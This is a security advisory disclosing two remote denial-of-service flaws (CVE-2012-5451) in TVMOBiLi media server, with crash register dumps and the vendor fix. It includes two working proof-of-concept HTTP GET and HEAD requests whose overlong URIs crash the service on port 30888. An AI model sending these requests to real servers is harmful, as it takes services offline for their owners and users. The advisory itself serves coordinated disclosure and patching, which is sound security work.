Advisory ID: HTB23120 Product: TVMOBiLi media server Vendor: TVMOBiLi Vulnerable Version(s): 2.1.0.3557 and probably prior version Tested Version: 2.1.0.3557 in Windows XP SP3 32 bits Vendor Notification: October 15, 2012 Vendor Patch: November 21, 2012 Public Disclosure: December 5, 2012 Vulnerability Type: Improper Handling of Length Parameter Inconsistency [CWE-130] CVE Reference: CVE-2012-5451 CVSSv2 Base Score: 5 (AV:N/AC:L/Au:N/C:N/I:N/A:P) Solution Status: Fixed by Vendor Risk Level: Medium Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge Security Research Lab has discovered 2 remote DoS vulnerabilities in TVMOBiLi Media server, which could be exploited to crash remote server with malicious HTTP requests. 1) Improper Handling of Length Parameter Inconsistency in TVMOBiLi: CVE-2012-5451 1.1 The vulnerability exists due to improper handling of URI length within the "HttpUtils.dll" dynamic-link library. A remote attacker can send a specially crafted HTTP GET request of 161, 257 or 255 characters long to 30888/TCP port (default TVMOBiLi's server port) and cause a stack-based buffer overrun that will crash tvMobiliService service. Crash details MSVCR100.dll:78abe2ad mov [edx], al from thread 1860 caused access violation when attempting to write to 0x0170e000 CONTEXT DUMP EIP: 78abe2ad mov [edx],al EAX: 00b8fd3e ( 12123454) -> injected stream (stack) EBX: 00000019 ( 25) -> N/A ECX: 00b8f8d0 ( 12122320) -> ppB;p$= @==ypp N/A EDI: 00b8f8d0 ( 12122320) -> ppB;p$= @==ypp sx xx'(x(x0kxxT$|$| (stack) EBP: 00b8f61c ( 12121628) -> sx xx'(x(x0kxxT$|$| (stack) ESP: 00b8f60c ( 12121612) -> xnx|8xx|8xp+| ==sx xx' (stack) +00: 78abe2ff (2024530687) -> N/A +04: 00000000 ( 0) -> N/A +08: 0000011f ( 287) -> N/A +0c: 00000002 ( 2) -> N/A +10: 00b8f8ac ( 12122284) -> Aax$=pppB;p$= @==ypp N/A disasm around: 0x78abe28e jnc 0x78abe2f9 0x78abe290 outsb 0x78abe292 and fs:[eax],al 0x78abe296 test byte [ecx+0xc],0x40 Proof of Concept The following HTTP GET request will crash vulnerable tvMobiliService service remotely: GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1 HOST: 192.168.10.12:30888 Referer: 192.168.10.12:30888 ACCEPT: */* Accept-Encoding: None User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Connection: Close Accept-Transfer-Encoding: None 1.2 The vulnerability exists due to improper handling of URI length within the "HttpUtils.dll" dynamic-link library. A remote attacker can send a specially crafted HTTP HEAD request of 255, 257 or 260 characters long to 30888/TCP port and cause a stack-based buffer overrun that will crash tvMobiliService service. Crash details MSVCR100.dll:78abe2ad mov [edx], al from thread 1745 caused access violation when attempting to write to 0x0170e000 CONTEXT DUMP EIP: 78abe2ad mov [edx],al EAX: 00b8fd3e ( 12123454) -> injected stream (stack) EBX: 00000019 ( 25) -> N/A ECX: 00b8f8d0 ( 12122320) -> ppB;p$= @==ypp N/A EDI: 00b8f8d0 ( 12122320) -> ppB;p$= @==ypp sx xx'(x(x0kxxT$|$| (stack) EBP: 00b8f61c ( 12121628) -> sx xx'(x(x0kxxT$|$| (stack) ESP: 00b8f60c ( 12121612) -> xnx|8xx|8xp+| ==sx xx' (stack) +00: 78abe2ff (2024530687) -> N/A +04: 00000000 ( 0) -> N/A +08: 0000011f ( 287) -> N/A +0c: 00000002 ( 2) -> N/A +10: 00b8f8ac ( 12122284) -> Aax$=pppB;p$= @==ypp N/A disasm around: 0x78abe28e jnc 0x78abe2f9 0x78abe290 outsb 0x78abe292 and fs:[eax],al 0x78abe296 test byte [ecx+0xc],0x40 Proof of Concept The following HTTP HEAD request will crash vulnerable tvMobiliService service remotely: HEAD /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1 HOST: 192.168.10.12:30888 Referer: 192.168.10.12:30888 ACCEPT: */* Accept-Encoding: None User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Connection: Close Accept-Transfer-Encoding: None ----------------------------------------------------------------------------------------------- Solution: Upgrade to TVMOBiLi 2.1.0.3974 More Information: http://forum.tvmobili.com/viewtopic.php?f=7&t=55117 http://dev.tvmobili.com/changelog.php ----------------------------------------------------------------------------------------------- References: [1] High-Tech Bridge Advisory HTB23120 - https://www.htbridge.com/advisory/HTB23120 - TvMobili Media Server Multiple Remote DoS Vulnerabilities. [2] TVMOBiLi LTD - http://www.tvmobili.com - TVMOBiLi is a free Media server for Mac, Windows, and Linux Operating Systems. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. ----------------------------------------------------------------------------------------------- Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.